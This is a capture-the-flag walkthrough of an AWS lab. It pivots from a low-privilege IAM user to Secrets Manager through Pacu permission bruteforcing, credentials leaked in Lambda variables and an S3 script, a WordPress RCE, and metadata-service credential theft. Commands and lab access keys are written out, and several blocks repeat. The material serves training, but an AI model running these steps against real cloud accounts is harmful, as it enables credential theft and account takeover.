July 25, 2026
AWS Pentesting Walkthrough: From Low-Privilege IAM User to AWS Secrets Manager (HackSmarter…
Learn how to pivot from a low-privileged AWS IAM user to AWS Secrets Manager by abusing IAM misconfigurations across AWS Lambda, Amazon S3…
By Himanshu Parmar
9 min read
Learn how to pivot from a low-privileged AWS IAM user to AWS Secrets Manager by abusing IAM misconfigurations across AWS Lambda, Amazon S3, EC2, and Pacu in the HackSmarter "Second" lab.
Introduction
In this walkthrough, we'll solve the HackSmarter "Second" AWS lab by abusing a chain of IAM misconfigurations to retrieve a flag stored in AWS Secrets Manager.
Starting with a low-privileged IAM user's AWS credentials, we'll enumerate permissions using Pacu, discover additional credentials from AWS Lambda and Amazon S3, enumerate an EC2 instance, compromise a vulnerable WordPress application, extract the EC2 instance role credentials through the Instance Metadata Service (IMDS), and finally access AWS Secrets Manager to retrieve the flag.
This lab is a great example of how multiple small misconfigurations can lead to a complete cloud compromise.
Lab Objective
Our objective is to retrieve the flag stored inside AWS Secrets Manager using the provided AWS credentials.
Attack Path
Low-Privilege AWS Credentials
│
▼
IAM Enumeration (Pacu)
│
▼
Lambda Enumeration
│
▼
New AWS Credentials
│
▼
S3 Bucket Enumeration
│
▼
Deployment Script
│
▼
More AWS Credentials
│
▼
EC2 Enumeration
│
▼
WordPress Exploitation
│
▼
EC2 Metadata Credentials
│
▼
AWS Secrets Manager
│
▼
FlagLow-Privilege AWS Credentials
│
▼
IAM Enumeration (Pacu)
│
▼
Lambda Enumeration
│
▼
New AWS Credentials
│
▼
S3 Bucket Enumeration
│
▼
Deployment Script
│
▼
More AWS Credentials
│
▼
EC2 Enumeration
│
▼
WordPress Exploitation
│
▼
EC2 Metadata Credentials
│
▼
AWS Secrets Manager
│
▼
FlagConfiguring the Initial AWS Credentials
After launching the lab, we're provided with an AWS Access Key and Secret Access Key. We'll configure them using the AWS CLI.
┌──(kali㉿kali)-[~]
└─$ aws configure --profile Second
AWS Access Key ID [None]: AKIAYR35WUFD3EMHX752
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]: json┌──(kali㉿kali)-[~]
└─$ aws configure --profile Second
AWS Access Key ID [None]: AKIAYR35WUFD3EMHX752
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]: jsonEnter the provided credentials, keep the region as us-east-1, and set the output format to json. Using a separate profile makes it easier to switch between different AWS identities later in the lab.
Verifying Our Identity
Before enumerating AWS resources, let's confirm which IAM user we're authenticated as.
┌──(kali㉿kali)-[~/hacksmarter/Second]
└─$ aws sts get-caller-identity --profile second
{
"UserId": "AIDAYR35WUFDVVVQJR4LN",
"Account": "588137275719",
"Arn": "arn:aws:iam::588137275719:user/cg-pentest-lab"
}┌──(kali㉿kali)-[~/hacksmarter/Second]
└─$ aws sts get-caller-identity --profile second
{
"UserId": "AIDAYR35WUFDVVVQJR4LN",
"Account": "588137275719",
"Arn": "arn:aws:iam::588137275719:user/cg-pentest-lab"
}The output shows that we're logged in as the cg-pentest-lab IAM user, confirming our initial foothold in the AWS account.
Enumerating IAM Permissions with Pacu
To understand what this IAM user can access, we'll use Pacu, an open-source AWS exploitation framework.
Start Pacu and create a new session , in my case i am giving second as session name:
pacu
┌──(kali㉿kali)-[~]
└─$ pacu
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣿⣿⣿⣿⣿⣿⣶⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⡿⠛⠉⠁⠀⠀⠈⠙⠻⣿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣿⣷⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣤⣤⣤⣤⣤⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⡿⣿⣿⣷⣦⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣈⣉⣙⣛⣿⣿⣿⣿⣿⣿⣿⣿⡟⠛⠿⢿⣿⣷⣦⣄⠀⠀⠈⠛⠋⠀⠀⠀⠈⠻⣿⣷⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣈⣉⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣀⣀⣀⣤⣿⣿⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣆⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣬⣭⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⢛⣉⣉⣡⣄⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⣿⣶⣄⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⣁⣤⣶⡿⣿⣿⠉⠻⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢻⣿⣧⡀
⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⣠⣶⣿⡟⠻⣿⠃⠈⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣧
⢀⣀⣤⣴⣶⣶⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⢠⣾⣿⠉⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿
⠉⠛⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⡟
⠀⠀⠀⠀⠉⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁
⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⡀⠀⠀⠀⠀⠀⣴⣆⢀⣴⣆⠀⣼⣆⠀⠀⣶⣶⣶⣶⣶⣶⣶⣶⣾⣿⣿⠿⠋⠀⠀
⠀⠀⠀⣼⣿⣿⣿⠿⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠓⠒⠒⠚⠛⠛⠛⠛⠛⠛⠛⠛⠀⠀⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠀⠀⠀⠀⠀
⠀⠀⠀⣿⣿⠟⠁⠀⢸⣿⣿⣿⣿⣿⣿⣿⣶⡀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣷⡄⠀⢀⣾⣿⣿⣿⣿⣿⣿⣷⣆⠀⢰⣿⣿⣿⠀⠀⠀⣿⣿⣿
⠀⠀⠀⠘⠁⠀⠀⠀⢸⣿⣿⡿⠛⠛⢻⣿⣿⡇⠀⢸⣿⣿⡿⠛⠛⢿⣿⣿⡇⠀⢸⣿⣿⡿⠛⠛⢻⣿⣿⣿⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠸⠿⠿⠟⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣧⣤⣤⣼⣿⣿⡇⠀⢸⣿⣿⣧⣤⣤⣼⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢀⣀⣀⣀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡏⠉⠉⠉⠉⠀⠀⠀⢸⣿⣿⡏⠉⠉⢹⣿⣿⡇⠀⢸⣿⣿⣇⣀⣀⣸⣿⣿⣿⠀⢸⣿⣿⣿⣀⣀⣀⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⡟
⠀⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠃⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠃⠀⠀⠘⠛⠛⠃⠀⠀⠉⠛⠛⠛⠛⠛⠛⠋⠀⠀⠀⠀⠙⠛⠛⠛⠛⠛⠉⠀
Version: 1.7.0
What would you like to name this new session? secondpacu
┌──(kali㉿kali)-[~]
└─$ pacu
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣿⣿⣿⣿⣿⣿⣶⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⡿⠛⠉⠁⠀⠀⠈⠙⠻⣿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣿⣷⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣤⣤⣤⣤⣤⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⡿⣿⣿⣷⣦⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣈⣉⣙⣛⣿⣿⣿⣿⣿⣿⣿⣿⡟⠛⠿⢿⣿⣷⣦⣄⠀⠀⠈⠛⠋⠀⠀⠀⠈⠻⣿⣷⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣈⣉⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣀⣀⣀⣤⣿⣿⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣆⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣬⣭⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⢛⣉⣉⣡⣄⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⣿⣶⣄⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⣁⣤⣶⡿⣿⣿⠉⠻⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢻⣿⣧⡀
⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⣠⣶⣿⡟⠻⣿⠃⠈⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣧
⢀⣀⣤⣴⣶⣶⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⢠⣾⣿⠉⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿
⠉⠛⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⡟
⠀⠀⠀⠀⠉⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁
⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⡀⠀⠀⠀⠀⠀⣴⣆⢀⣴⣆⠀⣼⣆⠀⠀⣶⣶⣶⣶⣶⣶⣶⣶⣾⣿⣿⠿⠋⠀⠀
⠀⠀⠀⣼⣿⣿⣿⠿⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠓⠒⠒⠚⠛⠛⠛⠛⠛⠛⠛⠛⠀⠀⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠀⠀⠀⠀⠀
⠀⠀⠀⣿⣿⠟⠁⠀⢸⣿⣿⣿⣿⣿⣿⣿⣶⡀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣷⡄⠀⢀⣾⣿⣿⣿⣿⣿⣿⣷⣆⠀⢰⣿⣿⣿⠀⠀⠀⣿⣿⣿
⠀⠀⠀⠘⠁⠀⠀⠀⢸⣿⣿⡿⠛⠛⢻⣿⣿⡇⠀⢸⣿⣿⡿⠛⠛⢿⣿⣿⡇⠀⢸⣿⣿⡿⠛⠛⢻⣿⣿⣿⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠸⠿⠿⠟⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣧⣤⣤⣼⣿⣿⡇⠀⢸⣿⣿⣧⣤⣤⣼⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢀⣀⣀⣀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡏⠉⠉⠉⠉⠀⠀⠀⢸⣿⣿⡏⠉⠉⢹⣿⣿⡇⠀⢸⣿⣿⣇⣀⣀⣸⣿⣿⣿⠀⢸⣿⣿⣿⣀⣀⣀⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⡟
⠀⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠃⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠃⠀⠀⠘⠛⠛⠃⠀⠀⠉⠛⠛⠛⠛⠛⠛⠋⠀⠀⠀⠀⠙⠛⠛⠛⠛⠛⠉⠀
Version: 1.7.0
What would you like to name this new session? secondImport the AWS profile:
import_keys secondimport_keys second
Now enumerate the available IAM permissions:
run iam__bruteforce_permissions --region us-east-1run iam__bruteforce_permissions --region us-east-1
Among the discovered permissions, the most interesting one is:
lambda.list_functions()lambda.list_functions()This indicates that our current IAM user can list AWS Lambda functions, making Lambda our next target for further enumeration.
Enumerating AWS Lambda
AWS Lambda
AWS Lambda is a serverless computing service provided by AWS that automatically runs your code in response to events without requiring you to manage or maintain servers.
Lambda Function
A Lambda function is the actual piece of code (such as Python, Node.js, or Java) that you upload to AWS Lambda. AWS executes this function whenever it is triggered by an event or request.
The lambda:ListFunctions permission indicates that our IAM user can enumerate Lambda functions. To gather more information, we'll use Pacu's lambda__enum module.
run lambda__enum --region us-east-1run lambda__enum --region us-east-1
The module successfully enumerates the available Lambda function and, more importantly, reveals environment variables configured for the function.
Among the environment variables, we discover another set of AWS credentials:
LAMBDA_MANAGER_AK=XXXXXXXXXXXX
LAMBDA_MANAGER_SK=XXXXXXXXXXXXXXXXLAMBDA_MANAGER_AK=XXXXXXXXXXXX
LAMBDA_MANAGER_SK=XXXXXXXXXXXXXXXXThese credentials belong to a different IAM user with potentially higher privileges.
Configuring the New AWS Credentials
Now that we have a new Access Key and Secret Access Key, we'll configure them as a separate AWS CLI profile.
aws configure --profile lambdaaws configure --profile lambda
Enter the newly discovered credentials, keep the region as us-east-1, and set the output format to json.
Creating a New Pacu Session
Since we're working with a different IAM identity, it's good practice to create a new Pacu session instead of overwriting the previous one.
Launch Pacu in new tab, create a new session named lambda, and import the newly configured profile.
import_keys lambdaimport_keys lambda
This keeps each stage of the attack organized and makes it easier to switch between identities if needed.
Enumerating the Lambda User Permissions
Next, we'll enumerate the permissions assigned to this new IAM user.
run iam__bruteforce_permissions --region us-east-1run iam__bruteforce_permissions --region us-east-1
This time, Pacu discovers a more interesting permission:
s3.list_buckets()s3.list_buckets()This permission allows us to list all Amazon S3 buckets that the current IAM user can access.
Since S3 buckets often contain backups, scripts, configuration files, or even hardcoded secrets, this becomes our next target.
Enumerating the S3 Bucket
Using the AWS CLI, we first list the available buckets.
aws s3 ls --profile lambdaaws s3 ls --profile lambda
The output reveals a bucket named:
cg-engineering-scripts-lab-588137275719cg-engineering-scripts-lab-588137275719Next, we list the contents of the bucket.
aws s3 ls s3://cg-engineering-scripts-lab-588137275719 --profile lambdaaws s3 ls s3://cg-engineering-scripts-lab-588137275719 --profile lambda
Inside the bucket, we find a file named deployment-script.sh
Downloading the Deployment Script
We can download the script locally using the following command:
aws s3 cp s3://cg-engineering-scripts-lab-588137275719/deployment-script.sh . --profile lambdaaws s3 cp s3://cg-engineering-scripts-lab-588137275719/deployment-script.sh . --profile lambda
After downloading, we inspect its contents.
cat deployment-script.sh┌──(kali㉿kali)-[~]
└─$ cat deployment-script.sh
#!/bin/bash
# WordPress Deployment and Backup Automation Script
# Authorized access only.
export AWS_ACCESS_KEY_ID="AKIAYR35WUFDZUMLHTC7"
export AWS_SECRET_ACCESS_KEY="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"
echo "Starting WordPress backup job..."
# Backup tasks go here...
echo "Backup completed successfully."cat deployment-script.sh┌──(kali㉿kali)-[~]
└─$ cat deployment-script.sh
#!/bin/bash
# WordPress Deployment and Backup Automation Script
# Authorized access only.
export AWS_ACCESS_KEY_ID="AKIAYR35WUFDZUMLHTC7"
export AWS_SECRET_ACCESS_KEY="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"
echo "Starting WordPress backup job..."
# Backup tasks go here...
echo "Backup completed successfully."We found a deployment script containing AWS credentials. This suggests that a WordPress deployment or backup process is configured to run under this new AWS profile/account, indicating that WordPress-related resources or infrastructure may be present.
Enumerating the EC2 Environment
The credentials extracted from the deployment script belong to another IAM user. We'll configure them as a new AWS CLI profile and continue our enumeration.
aws configure --profile wp_ec2aws configure --profile wp_ec2
After configuring the credentials, create a new Pacu session and import the new profile.
import_keys wp_ec2import_keys wp_ec2
Enumerating IAM Permissions
As before, the first step is to identify what this IAM user can access.
run iam__bruteforce_permissions --region us-east-1run iam__bruteforce_permissions --region us-east-1
This time, Pacu reveals a new and interesting permission:
ec2.describe_instances()ec2.describe_instances()This permission allows us to retrieve information about EC2 instances running in the AWS account, including instance IDs, names, and public IP addresses.
Enumerating EC2 Instances
To gather more information about the EC2 instances, we'll use Pacu's ec2__enum module.
run ec2__enum --region us-east-1run ec2__enum --region us-east-1
The module successfully enumerates the EC2 environment and discovers a running instance. Although several API calls are denied due to limited permissions, Pacu is still able to retrieve the instance's public IP address, which is all we need for the next stage.
Retrieving the Public IP
Pacu stores the discovered public IP in a local file. We can display it using:
cat ~/.local/share/pacu/wp_ec2/downloads/ec2_public_ips_wp_ec2_us-east-1.txtcat ~/.local/share/pacu/wp_ec2/downloads/ec2_public_ips_wp_ec2_us-east-1.txt
Now that we have the public IP address, the next step is to investigate what service is running on the server.
Identifying the Web Application
Opening the public IP in a browser reveals a WordPress website.
Since WordPress is a common target during penetration tests, our next step is to identify its version and look for any known vulnerabilities.
Enumerating the WordPress Version
We'll use WPScan, a popular WordPress security scanner, to enumerate the application's version and identify potential vulnerabilities.
wpscan --url http://<TARGET-IP>/wpscan --url http://<TARGET-IP>/
WPScan identifies the installed WordPress version and provides useful information about the target, helping us determine whether a public exploit is available.
Exploiting WordPress
After identifying the vulnerable version, we searched for a public exploit and found one that matched the target.
The wp2shell vulnerability is a critical Remote Code Execution (RCE) vulnerability in WordPress Core. It allows an unauthenticated attacker to execute arbitrary code on a vulnerable WordPress website without needing a valid username, password, or any vulnerable plugin.
By doing some research i got this github repository https://github.com/Icex0/wp2shell-poc Where we already have exploit script available, we will use this to exploit this vulnerability and get the shell.
obtaining a shell
we successfully gained remote code execution and obtained a shell on the EC2 instance.
Gaining AWS Credentials from the EC2 Instance
Now that we've obtained a shell on the EC2 instance, our focus shifts from the operating system to the AWS environment.
The goal isn't to escalate privileges on the Linux machine — instead, we want to identify whether the EC2 instance is attached to an IAM Role. If it is, we may be able to retrieve temporary AWS credentials from the Instance Metadata Service (IMDS).
Understanding the EC2 Instance Metadata Service (IMDS)
AWS provides a special endpoint called the Instance Metadata Service (IMDS) that is accessible only from within an EC2 instance.
This endpoint stores useful information about the instance, such as:
- Instance ID
- Public and private IP addresses
- Security groups
- IAM role name
- Temporary AWS credentials (if an IAM role is attached)
If an attacker gains code execution on an EC2 instance, accessing this endpoint is often one of the first post-exploitation steps.
Checking for an Attached IAM Role
First, we'll query the metadata endpoint to determine whether an IAM role is attached to the instance.
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/curl http://169.254.169.254/latest/meta-data/iam/security-credentials/Here , our role name is cg-ec2-role-lab
Retrieving Temporary AWS Credentials
Next, we'll request the credentials associated with that IAM role.
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>The response contains temporary AWS credentials, including:
- Access Key ID
- Secret Access Key
- Session Token
These credentials are automatically generated by AWS for the EC2 instance and can be used to interact with AWS services using the permissions assigned to the instance role.
Configuring the EC2 Credentials
Now, we'll configure these temporary credentials as another AWS CLI profile.
aws configure --profile ec2_machineaws configure --profile ec2_machineSince these are temporary credentials, we'll also configure the session token.
Importing the Credentials into Pacu
Open a new Pacu session and import the newly created AWS profile.
import_keys ec2_machineimport_keys ec2_machineEnumerating the EC2 Role Permissions
As with the previous identities, we'll begin by enumerating the available IAM permissions.
run iam__bruteforce_permissions --region us-east-1run iam__bruteforce_permissions --region us-east-1
This time, Pacu identifies the permission we're looking for:
secretsmanager.list_secrets()secretsmanager.list_secrets()This permission allows the EC2 instance role to list the secrets stored in AWS Secrets Manager, bringing us one step closer to the lab objective.
Enumerating AWS Secrets Manager
Now that we know the role can access Secrets Manager, we can enumerate the available secrets using Pacu secrets__enum module.
run secrets__enum --region us-east-1run secrets__enum --region us-east-1
Retrieving the Flag
The secrets__enum module successfully identifies the secret and downloads its contents to our local machine. As shown in the output, Pacu stores the retrieved secret under the session's downloads/secrets directory.
We can now view the downloaded secret using the following command:
cat ~/.local/share/pacu/<session_name>/downloads/secrets/*cat ~/.local/share/pacu/<session_name>/downloads/secrets/*or, in our case:
cat ~/.local/share/pacu/ec2_machine/downloads/secrets/secrets_manager/secrets.txtcat ~/.local/share/pacu/ec2_machine/downloads/secrets/secrets_manager/secrets.txt
The output reveals the secret value:
cg-final-flag-lab:HSM{********************************}cg-final-flag-lab:HSM{********************************}
Conclusion
In this walkthrough, we started with a low-privileged IAM user and progressively moved through multiple AWS services by exploiting exposed credentials and overly permissive IAM policies. We pivoted from IAM → Lambda → S3 → EC2 → IMDS → Secrets Manager, ultimately retrieving the flag without ever needing root access on the EC2 instance.
This lab highlights an important cloud security lesson: small misconfigurations across different AWS services can combine to create a complete compromise. Protecting sensitive credentials, following the principle of least privilege, securing deployment artifacts, and properly configuring IAM roles are essential to preventing these attack paths in real-world AWS environments.